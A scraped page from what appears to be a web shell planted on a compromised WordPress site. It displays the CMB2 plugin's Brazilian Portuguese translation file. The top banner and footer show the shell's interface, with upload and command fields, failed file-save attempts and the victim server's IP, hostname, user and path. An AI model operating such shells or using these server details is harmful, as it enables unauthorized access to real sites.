Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.116.27.225
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/cmb2/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/cmb2/languages/cmb2-pt_BR.po
# Translation of Plugins - CMB2 - Development (trunk) in Portuguese (Brazil)
# This file is distributed under the same license as the Plugins - CMB2 - Development (trunk) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2018-04-19 15:56:59+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"
"X-Generator: GlotPress/2.4.0-alpha\n"
"Language: pt_BR\n"
"Project-Id-Version: Plugins - CMB2 - Development (trunk)\n"

#. translators: %s: register_routes()
#: includes/shim/WP_REST_Controller.php:25
msgid "Method '%s' must be overridden."
msgstr "O método '%s' precisa ser substituído."

#: example-functions.php:732
msgid "%s — Updated!"
msgstr "%s — Atualizado!"

#: includes/CMB2_Hookup_Base.php:42
msgid "%1$s should be implemented by the extended class."
msgstr "%1$s precisa ser implementado pela classe estendida."

#. Author URI of the plugin/theme
msgid "https://cmb2.io"
msgstr "https://cmb2.io"

#. Author of the plugin/theme
msgid "CMB2 team"
msgstr "Equipe CMB2"

#. Plugin URI of the plugin/theme
msgid "https://github.com/CMB2/CMB2"
msgstr "https://github.com/CMB2/CMB2"

#: includes/CMB2_Types.php:412
msgid "Remove Row"
msgstr "Remover linha"

#: includes/CMB2_Options_Hookup.php:131
msgid "Nothing to update."
msgstr "Nada para atualizar."

#: includes/CMB2_Options_Hookup.php:135
msgid "Settings updated."
msgstr "Configurações atualizadas."

#: example-functions.php:665
msgid "Theme Options"
msgstr "Opções do tema"

#: includes/CMB2_hookup.php:458
msgid "Toggle panel: %s"
msgstr "Alternar painel: %s"

#: includes/CMB2_Types.php:231
msgid "Custom CMB2 field type classes must extend CMB2_Type_Base."
msgstr "Classes de tipo de campo personalizado do CMB2 devem estender CMB2_Type_Base."

#: example-functions.php:783
msgid "Will show in REST API \"editable\" contexts only (`POST` requests)."
msgstr "Será exibido somente nos contextos \"editáveis\" da API REST (solicitações `POST)."

#: example-functions.php:782
msgid "REST Editable Test Text"
msgstr "Teste de texto editável via REST"

#: example-functions.php:776
msgid "Will show in the REST API for this box and for pages."
msgstr "Será exibida na API REST nesta página e nas páginas."

#: example-functions.php:775
msgid "REST Test Text"
msgstr "Texto de test REST"

#: example-functions.php:766
msgid "REST Test Box"
msgstr "Caixa de teste REST"

#: includes/shim/WP_REST_Controller.php:308
msgid "Scope under which the request is made; determines fields present in response."
msgstr "Escopo sob o qual a solicitação é feita; determina quais campos estarão na resposta."

#: includes/shim/WP_REST_Controller.php:290
msgid "Limit results to those matching a string."
msgstr "Limita os resultados para os que correspondem a uma string."

#: includes/shim/WP_REST_Controller.php:281
msgid "Maximum number of items to be returned in result set."
msgstr "Número máximo de itens a serem retornados como resultado."

#: includes/shim/WP_REST_Controller.php:273
msgid "Current page of the collection."
msgstr "Página atual da coleção."

#: includes/shim/WP_REST_Controller.php:35
#: includes/shim/WP_REST_Controller.php:47
#: includes/shim/WP_REST_Controller.php:59
#: includes/shim/WP_REST_Controller.php:71
#: includes/shim/WP_REST_Controller.php:83
#: includes/shim/WP_REST_Controller.php:95
#: includes/shim/WP_REST_Controller.php:107
#: includes/shim/WP_REST_Controller.php:119
#: includes/shim/WP_REST_Controller.php:131
#: includes/shim/WP_REST_Controller.php:143
#: includes/shim/WP_REST_Controller.php:155
#: includes/shim/WP_REST_Controller.php:168
msgid "Method '%s' not implemented. Must be overridden in subclass."
msgstr "Método '%s' não implementado. Ele precisa ser substituído na subclasse."

#: includes/rest-api/CMB2_REST_Controller_Fields.php:415
msgid "Value Error for %s"
msgstr "Valor de erro para %s"

#: includes/rest-api/CMB2_REST_Controller_Fields.php:312
#: includes/rest-api/CMB2_REST_Controller_Fields.php:341
msgid "No field found by that id."
msgstr "Nenhum campo encontrado com este id."

#: includes/rest-api/CMB2_REST_Controller_Fields.php:297
msgid "CMB2 Field value cannot be modified without the object_id and object_type parameters specified."
msgstr "O valor do campo CMB2 não pode ser modificado sem que os parâmetros object_id e object_type estejam especificados."

#: includes/rest-api/CMB2_REST_Controller_Fields.php:236
msgid "CMB2 Field value cannot be updated without the value parameter specified."
msgstr "O valor do campo CMB2 não pode ser atualizado sem que o parâmetro value esteja especificado."

#: includes/rest-api/CMB2_REST_Controller_Fields.php:33
#: includes/rest-api/CMB2_REST_Controller_Fields.php:36
msgid "To view or modify the field's value, the 'object_id' and 'object_type' arguments are required."
msgstr "Para ver ou modificar o valor do campo, os argumentos 'object_id' e 'object_type' são obrigatórios."

#: includes/rest-api/CMB2_REST_Controller_Fields.php:30
msgid "When the '_rendered' argument is passed, the renderable field attributes will be returned fully rendered. By default, the names of the callback handers for the renderable attributes will be returned."
msgstr "Quando o argumento '_rendered' é passado, os atributos renderizáveis do campo serão retornado já completamente renderizados. Por padrão, os nomes dos callbacks para a renderização dos atributos são retornados."

#: includes/rest-api/CMB2_REST_Controller_Fields.php:27
msgid "Includes the box object which the fields are registered to in the response."
msgstr "Inclui o objeto da caixa cujos campos são registrados na resposta."

#: includes/rest-api/CMB2_REST_Controller_Boxes.php:122
msgid "No boxes found."
msgstr "Nenhuma caixa encontrada."

#: includes/rest-api/CMB2_REST_Controller_Boxes.php:72
msgid "Includes the fully rendered attributes, 'form_open', 'form_close', as well as the enqueued 'js_dependencies' script handles, and 'css_dependencies' stylesheet handles."
msgstr "Inclui os atributos completamente renderizados, 'form_open', 'form_close', assim como os manipuladores de script enfileirados com 'js_dependencies' e folhas de estilo com 'css_dependencies'."

#: includes/rest-api/CMB2_REST_Controller_Boxes.php:51
msgid "Includes the registered fields for the box in the response."
msgstr "Inclui na resposta os campos registrados para a caixa."

#: includes/rest-api/CMB2_REST_Controller.php:392
msgid "The title for the object."
msgstr "O título do objeto."

#: includes/rest-api/CMB2_REST_Controller.php:385
msgid "The id for the object."
msgstr "O id do objeto."

#: includes/rest-api/CMB2_REST_Controller.php:378
msgid "A human-readable description of the object."
msgstr "Uma descrição legível por humanos do objeto."

#: includes/rest-api/CMB2_REST_Controller.php:300
msgid "No box found by that id. A box needs to be registered with the \"show_in_rest\" parameter configured."
msgstr "Nenhuma caixa encontrada com este id. Uma caixa precisa ser registrada com o parâmetro \"show_in_rest\" configurado."

#: includes/rest-api/CMB2_REST_Controller.php:277
msgid "This box does not have write permissions."
msgstr "Esta caixa não tem permissões de escrita."

#: includes/rest-api/CMB2_REST_Controller.php:257
msgid "This box does not have read permissions."
msgstr "Esta caixa não tem permissões de leitura."

#: includes/CMB2_Base.php:506 includes/types/CMB2_Type_Base.php:156
msgid "Invalid %1$s method: %2$s"
msgstr "Método inválido de %1$s: %2$s"

#: includes/CMB2_Base.php:491 includes/CMB2_Hookup_Base.php:100
#: includes/CMB2_Options_Hookup.php:341 includes/types/CMB2_Type_Base.php:172
msgid "Invalid %1$s property: %2$s"
msgstr "Propriedade inválida de %1$s: %2$s"

#: includes/CMB2_Base.php:458
msgid "%1$s was called with a parameter that is <strong>deprecated</strong> since version %2$s with no alternative available."
msgstr "%1$s foi chamado com um parâmetro que está <strong>depreciado</strong> desde a versão %2$s e não há uma alternativa disponível."

#: includes/CMB2_Base.php:456
msgid "%1$s was called with a parameter that is <strong>deprecated</strong> since version %2$s! %3$s"
msgstr "%1$s foi chamado com um parâmetro que está <strong>depreciado</strong> desde a versão %2$s! %3$s"

#: includes/CMB2_Base.php:426
msgid "Using the \"%1$s\" field parameter as a callback has been deprecated in favor of the \"%2$s\" parameter."
msgstr ""

#: includes/CMB2_Base.php:422
msgid "The \"%1$s\" field parameter has been deprecated in favor of the \"%2$s\" parameter."
msgstr ""

#. translators: %s: link to codex.wordpress.org/Embeds
#: example-functions.php:426
msgid "Enter a youtube, twitter, or instagram URL. Supports services listed at %s."
msgstr "Digite um URL do youtube, twitter ou instagram. Os serviços suportados estão listados em %s."

#: example-functions.php:167
msgid "Hey there, I'm a read-only field"
msgstr "Olá, eu sou um campo somente para leitura"

#: example-functions.php:163
msgid "Read-only Disabled Field"
msgstr "Campo desabilitado somente para leitura"

#. translators: 1: results for. 2: link to codex.wordpress.org/Embeds
#: includes/CMB2_Ajax.php:189 includes/helper-functions.php:105
msgid "No oEmbed Results Found for %1$s. View more info at %2$s."
msgstr "Nenhum resultado oEmbed encontrado para %1$s. Mais informações em %2$s."

#: includes/CMB2_Field.php:1443
msgid "Sorry, this field does not have a cmb_id specified."
msgstr "Este campo não tem um cmb_id especificado."

#: example-functions.php:176
msgid "Custom Rendered Field"
msgstr "Campo com renderização personalizada"

#: includes/CMB2_hookup.php:185
msgid "Term metaboxes configuration requires a \"taxonomies\" parameter."
msgstr "Configurações de metaboxes de termos requerem um parâmetro \"taxonomies\"."

#: includes/CMB2_hookup.php:181
msgid "Term Metadata is a WordPress 4.4+ feature. Please upgrade your WordPress install."
msgstr "Metadados de termos é um recurso do WordPress 4.4+. Atualize sua instalação do WordPress."

#: example-functions.php:646
msgid "Arbitrary Term Field"
msgstr "Campo de termo arbitrário"

#: example-functions.php:639
msgid "Term Image"
msgstr "Imagem de termo"

#: example-functions.php:624
msgid "Category Metabox"
msgstr "Metabox de categoria"

#. Description of the plugin/theme
msgid "CMB2 will create metaboxes and forms with custom fields that will blow your mind."
msgstr "CMB2 irá criar caixas de meta e os formulários com campos personalizados que vai explodir sua mente."

#. Plugin Name of the plugin/theme
msgid "CMB2"
msgstr "CMB2"

#: includes/helper-functions.php:303
msgid "Save"
msgstr "Salvar"

#: includes/types/CMB2_Type_File.php:76
msgid "Add or Upload File"
msgstr "Adicionar ou carregar arquivo"

#: includes/types/CMB2_Type_File_List.php:41
msgid "Add or Upload Files"
msgstr "Adicionar ou carregar arquivos"

#: includes/types/CMB2_Type_Taxonomy_Base.php:115
msgid "No terms"
msgstr "nenhum termo"

#: includes/CMB2_Types.php:349
msgid "Add Row"
msgstr "Adicionar Linha"

#: includes/CMB2_JS.php:230
msgid "Select / Deselect All"
msgstr "Marcar / Desmarcar tudo"

#: includes/CMB2_JS.php:229 includes/types/CMB2_Type_File_Base.php:82
msgid "Download"
msgstr "Download"

#: includes/CMB2_Field_Display.php:432 includes/CMB2_JS.php:228
#: includes/types/CMB2_Type_File_Base.php:79
msgid "File:"
msgstr "Arquivo:"

#: includes/CMB2_JS.php:227 includes/CMB2_Types.php:412
#: includes/types/CMB2_Type_File_Base.php:84
msgid "Remove"
msgstr "Remover"

#: includes/CMB2_JS.php:226 includes/types/CMB2_Type_File_Base.php:64
msgid "Remove Image"
msgstr "Remover a imagem"

#: includes/CMB2_JS.php:225
msgid "Use these files"
msgstr "Use estes campos"

#: includes/CMB2_JS.php:224
msgid "Use this file"
msgstr "Utilizar esse arquivo"

#: includes/CMB2_JS.php:218
msgctxt "Valid formatting string, as per http://trentrichardson.com/examples/timepicker/"
msgid "hh:mm TT"
msgstr "hh:mm TT"

#: includes/CMB2_JS.php:216
msgid "Now"
msgstr "Agora"

#: includes/CMB2_JS.php:215
msgid "Second"
msgstr "Segundo"

#: includes/CMB2_JS.php:214
msgid "Minute"
msgstr "Minuto"

#: includes/CMB2_JS.php:213
msgid "Hour"
msgstr "Hora"

#: includes/CMB2_JS.php:212
msgid "Time"
msgstr "Hora"

#: includes/CMB2_JS.php:211
msgid "Choose Time"
msgstr "Escolha tempo"

#: includes/CMB2_JS.php:207 includes/CMB2_JS.php:217
msgid "Done"
msgstr "Concluído"

#: includes/CMB2_JS.php:206
msgid "Today"
msgstr "Hoje"

#: includes/CMB2_JS.php:205
msgid "Prev"
msgstr "Anterior"

#: includes/CMB2_JS.php:204
msgid "Next"
msgstr "Seguinte"

#: includes/CMB2_JS.php:203
msgid "Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec"
msgstr "Jan, Fev, Mar, Abr, Maio, Jun, Jul, Ago, Set, Out, Nov, Dez"

#: includes/CMB2_JS.php:202
msgid "January, February, March, April, May, June, July, August, September, October, November, December"
msgstr "Janeiro, Fevereiro, Março, Abril, Maio, Junho, Julho, Agosto, Setembro, Outubro, Novembro, Dezembro"

#: includes/CMB2_JS.php:201
msgid "Sun, Mon, Tue, Wed, Thu, Fri, Sat"
msgstr "Dom, Seg, Ter, Qua, Qui, Sex, Sab"

#: includes/CMB2_JS.php:200
msgid "Su, Mo, Tu, We, Th, Fr, Sa"
msgstr "Dm, Sg, Tr, Qua, Qui, Sx, Sb"

#: includes/CMB2_JS.php:199
msgid "Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday"
msgstr "Domingo, Segunda-feira, Terça-feira, Quarta-feira, Quinta-feira, Sexta-feira, Sábado"

#: includes/CMB2_JS.php:198
msgctxt "Valid formatDate string for jquery-ui datepicker"
msgid "mm/dd/yy"
msgstr "dd/mm/yy"

#: includes/CMB2_JS.php:168
msgid "Current Color"
msgstr "Cor atual"

#: includes/CMB2_JS.php:167
msgid "Select Color"
msgstr "Selecionar Cor"

#: includes/CMB2_JS.php:166
msgid "Default"
msgstr "Padrão"

#: includes/CMB2_JS.php:165 includes/CMB2_JS.php:208
msgid "Clear"
msgstr "Limpar"

#: includes/CMB2_Field.php:1328 includes/CMB2_Field.php:1332
msgid "None"
msgstr "Nenhum"

#: includes/CMB2_Field.php:1297
msgid "Remove Group"
msgstr "Remove Grupo"

#: includes/CMB2_Field.php:1296
msgid "Add Group"
msgstr "Adicionar Grupo"

#: includes/CMB2_Ajax.php:181
msgid "Remove Embed"
msgstr "Remover Embed"

#: includes/CMB2_Ajax.php:75
msgid "Please Try Again"
msgstr "Tente novamente."

#: includes/CMB2.php:582
msgid "Click to toggle"
msgstr "Clique para expandir ou recolher."

#: includes/CMB2.php:179
msgid "Metabox configuration is required to have an ID parameter."
msgstr "Configuração de metabox requer um parâmetro  ID."

#: example-functions.php:695
msgid "Site Background Color"
msgstr "Cor de fundo do site"

#: example-functions.php:604
msgid "User Field"
msgstr "Campo de Usuário"

#: example-functions.php:597
msgid "Linkedin URL"
msgstr "URL do Linkedin"

#: example-functions.php:590
msgid "Google+ URL"
msgstr "URL do Google+"

#: example-functions.php:583
msgid "Twitter URL"
msgstr "URL do Twitter "

#: example-functions.php:576
msgid "Facebook URL"
msgstr "URL do Facebook"

#: example-functions.php:569
msgid "Avatar"
msgstr "Avatar"

#: example-functions.php:561 example-functions.php:631
msgid "Extra Info"
msgstr "Informação extra"

#: example-functions.php:554
msgid "User Profile Metabox"
msgstr "Perfil de usuário Metabox"

#: example-functions.php:535
msgid "Image Caption"
msgstr "Descrição da imagem"

#: example-functions.php:529
msgid "Entry Image"
msgstr "Imagem entrada "

#: example-functions.php:523
msgid "Write a short description for this entry"
msgstr "Faça uma breve descrição para esta entrada"

#: example-functions.php:522
msgid "Description"
msgstr "Descrição"

#: example-functions.php:515
msgid "Entry Title"
msgstr "Título Entrada"

#: example-functions.php:502
msgid "Remove Entry"
msgstr "Remover Entrada"

#: example-functions.php:501
msgid "Add Another Entry"
msgstr "Adicionar outra entrada"

#: example-functions.php:500
msgid "Entry {#}"
msgstr "Entrada {#}"

#: example-functions.php:498
msgid "Generates reusable form entries"
msgstr "Gera entradas de formulários reutilizáveis"

#: example-functions.php:490
msgid "Repeating Field Group"
msgstr "Repetir Grupo de Campos"

#: example-functions.php:459
msgid "About Page Metabox"
msgstr "Página Sobre  Metabox"

#: example-functions.php:423
msgid "oEmbed"
msgstr "oEmbed"

#: example-functions.php:416
msgid "Upload or add multiple images/attachments."
msgstr "Carregar ou adicionar várias imagens / anexos."

#: example-functions.php:415
msgid "Multiple Files"
msgstr "Múltiplos Arquivos "

#: example-functions.php:409
msgid "Upload an image or enter a URL."
msgstr "Faça o upload de uma imagem ou digite uma URL."

#: example-functions.php:408
msgid "Test Image"
msgstr "Teste Imagem"

#: example-functions.php:398
msgid "Test wysiwyg"
msgstr "Teste wysiwyg"

#: example-functions.php:392
msgid "Check Three"
msgstr "Caixa de Seleção 3"

#: example-functions.php:391
msgid "Check Two"
msgstr "Caixa de Seleção 2"

#: example-functions.php:390
msgid "Check One"
msgstr "Caixa de Seleção 1"

#: example-functions.php:384
msgid "Test Multi Checkbox"
msgstr "Teste Multi Checkbox"

#: example-functions.php:377
msgid "Test Checkbox"
msgstr "Teste Checkbox"

#: example-functions.php:368
msgid "Test Taxonomy Multi Checkbox"
msgstr "Teste Multi Checkbox Taxonomia"

#: example-functions.php:360
msgid "Test Taxonomy Select"
msgstr "Teste Selecionador Taxonomia"

#: example-functions.php:351
msgid "Test Taxonomy Radio"
msgstr "Teste Radio Taxonomia"

#: example-functions.php:339
msgid "Test Radio"
msgstr "Teste Radio"

#: example-functions.php:326
msgid "Test Radio inline"
msgstr "Texte Radio em linha"

#: example-functions.php:321 example-functions.php:334
#: example-functions.php:346
msgid "Option Three"
msgstr "terceira opção"

#: example-functions.php:320 example-functions.php:333
#: example-functions.php:345
msgid "Option Two"
msgstr "segunda opção"

#: example-functions.php:319 example-functions.php:332
#: example-functions.php:344
msgid "Option One"
msgstr "primeira opção"

#: example-functions.php:313
msgid "Test Select"
msgstr "Teste Selecionador"

#: example-functions.php:307
msgid "This is a title description"
msgstr "Essa é a descrição do título"

#: example-functions.php:306
msgid "Test Title Weeeee"
msgstr "Teste Título Weeeee"

#: example-functions.php:288
msgid "Test Text Area for Code"
msgstr "Teste Área de Texto para código"

#: example-functions.php:281
msgid "Test Text Area Small"
msgstr "Teste Área de Texto Pequena"

#: example-functions.php:274
msgid "Test Text Area"
msgstr "Teste Área de Texto"

#: example-functions.php:258
msgid "Test Color Picker"
msgstr "Teste Selecionador Cor "

#: example-functions.php:249
msgid "Test Money"
msgstr "Teste Preço"

#: example-functions.php:232
msgid "Test Date/Time Picker Combo (UNIX timestamp)"
msgstr "Teste Date/ Selecionador Hora Combo (UNIX timestamp)"

#: example-functions.php:224
msgid "Test Date Picker (UNIX timestamp)"
msgstr "Teste Selecionador Data (UNIX timestamp)"

#: example-functions.php:216
msgid "Test Date Picker"
msgstr "Teste Selecionador Data"

#: example-functions.php:209 example-functions.php:210
msgid "Time zone"
msgstr "Fuso horário"

#: example-functions.php:201
msgid "Test Time"
msgstr "Teste Horário "

#: example-functions.php:193
msgid "Test Text Email"
msgstr "Teste Texto Email"

#: example-functions.php:184
msgid "Website URL"
msgstr "URL do Website"

#: example-functions.php:156
msgid "Test Text Medium"
msgstr "Teste Texto Médio"

#: example-functions.php:143
msgid "Test Text Small"
msgstr "Teste Texto Pequeno"

#: example-functions.php:131 example-functions.php:144
#: example-functions.php:157 example-functions.php:164
#: example-functions.php:177 example-functions.php:185
#: example-functions.php:194 example-functions.php:202
#: example-functions.php:217 example-functions.php:225
#: example-functions.php:233 example-functions.php:250
#: example-functions.php:259 example-functions.php:275
#: example-functions.php:282 example-functions.php:289
#: example-functions.php:314 example-functions.php:327
#: example-functions.php:340 example-functions.php:352
#: example-functions.php:361 example-functions.php:369
#: example-functions.php:378 example-functions.php:385
#: example-functions.php:399 example-functions.php:471
#: example-functions.php:562 example-functions.php:570
#: example-functions.php:577 example-functions.php:584
#: example-functions.php:591 example-functions.php:598
#: example-functions.php:605 example-functions.php:632
#: example-functions.php:640 example-functions.php:647
#: example-functions.php:696
msgid "field description (optional)"
msgstr "Campo de descrição (opcional)"

#: example-functions.php:130 example-functions.php:470
msgid "Test Text"
msgstr "Teste Texto"

#: example-functions.php:117
msgid "Test Metabox"
msgstr "Metabox de teste "

Youez - 2016 - github.com/yon3zu
LinuXploit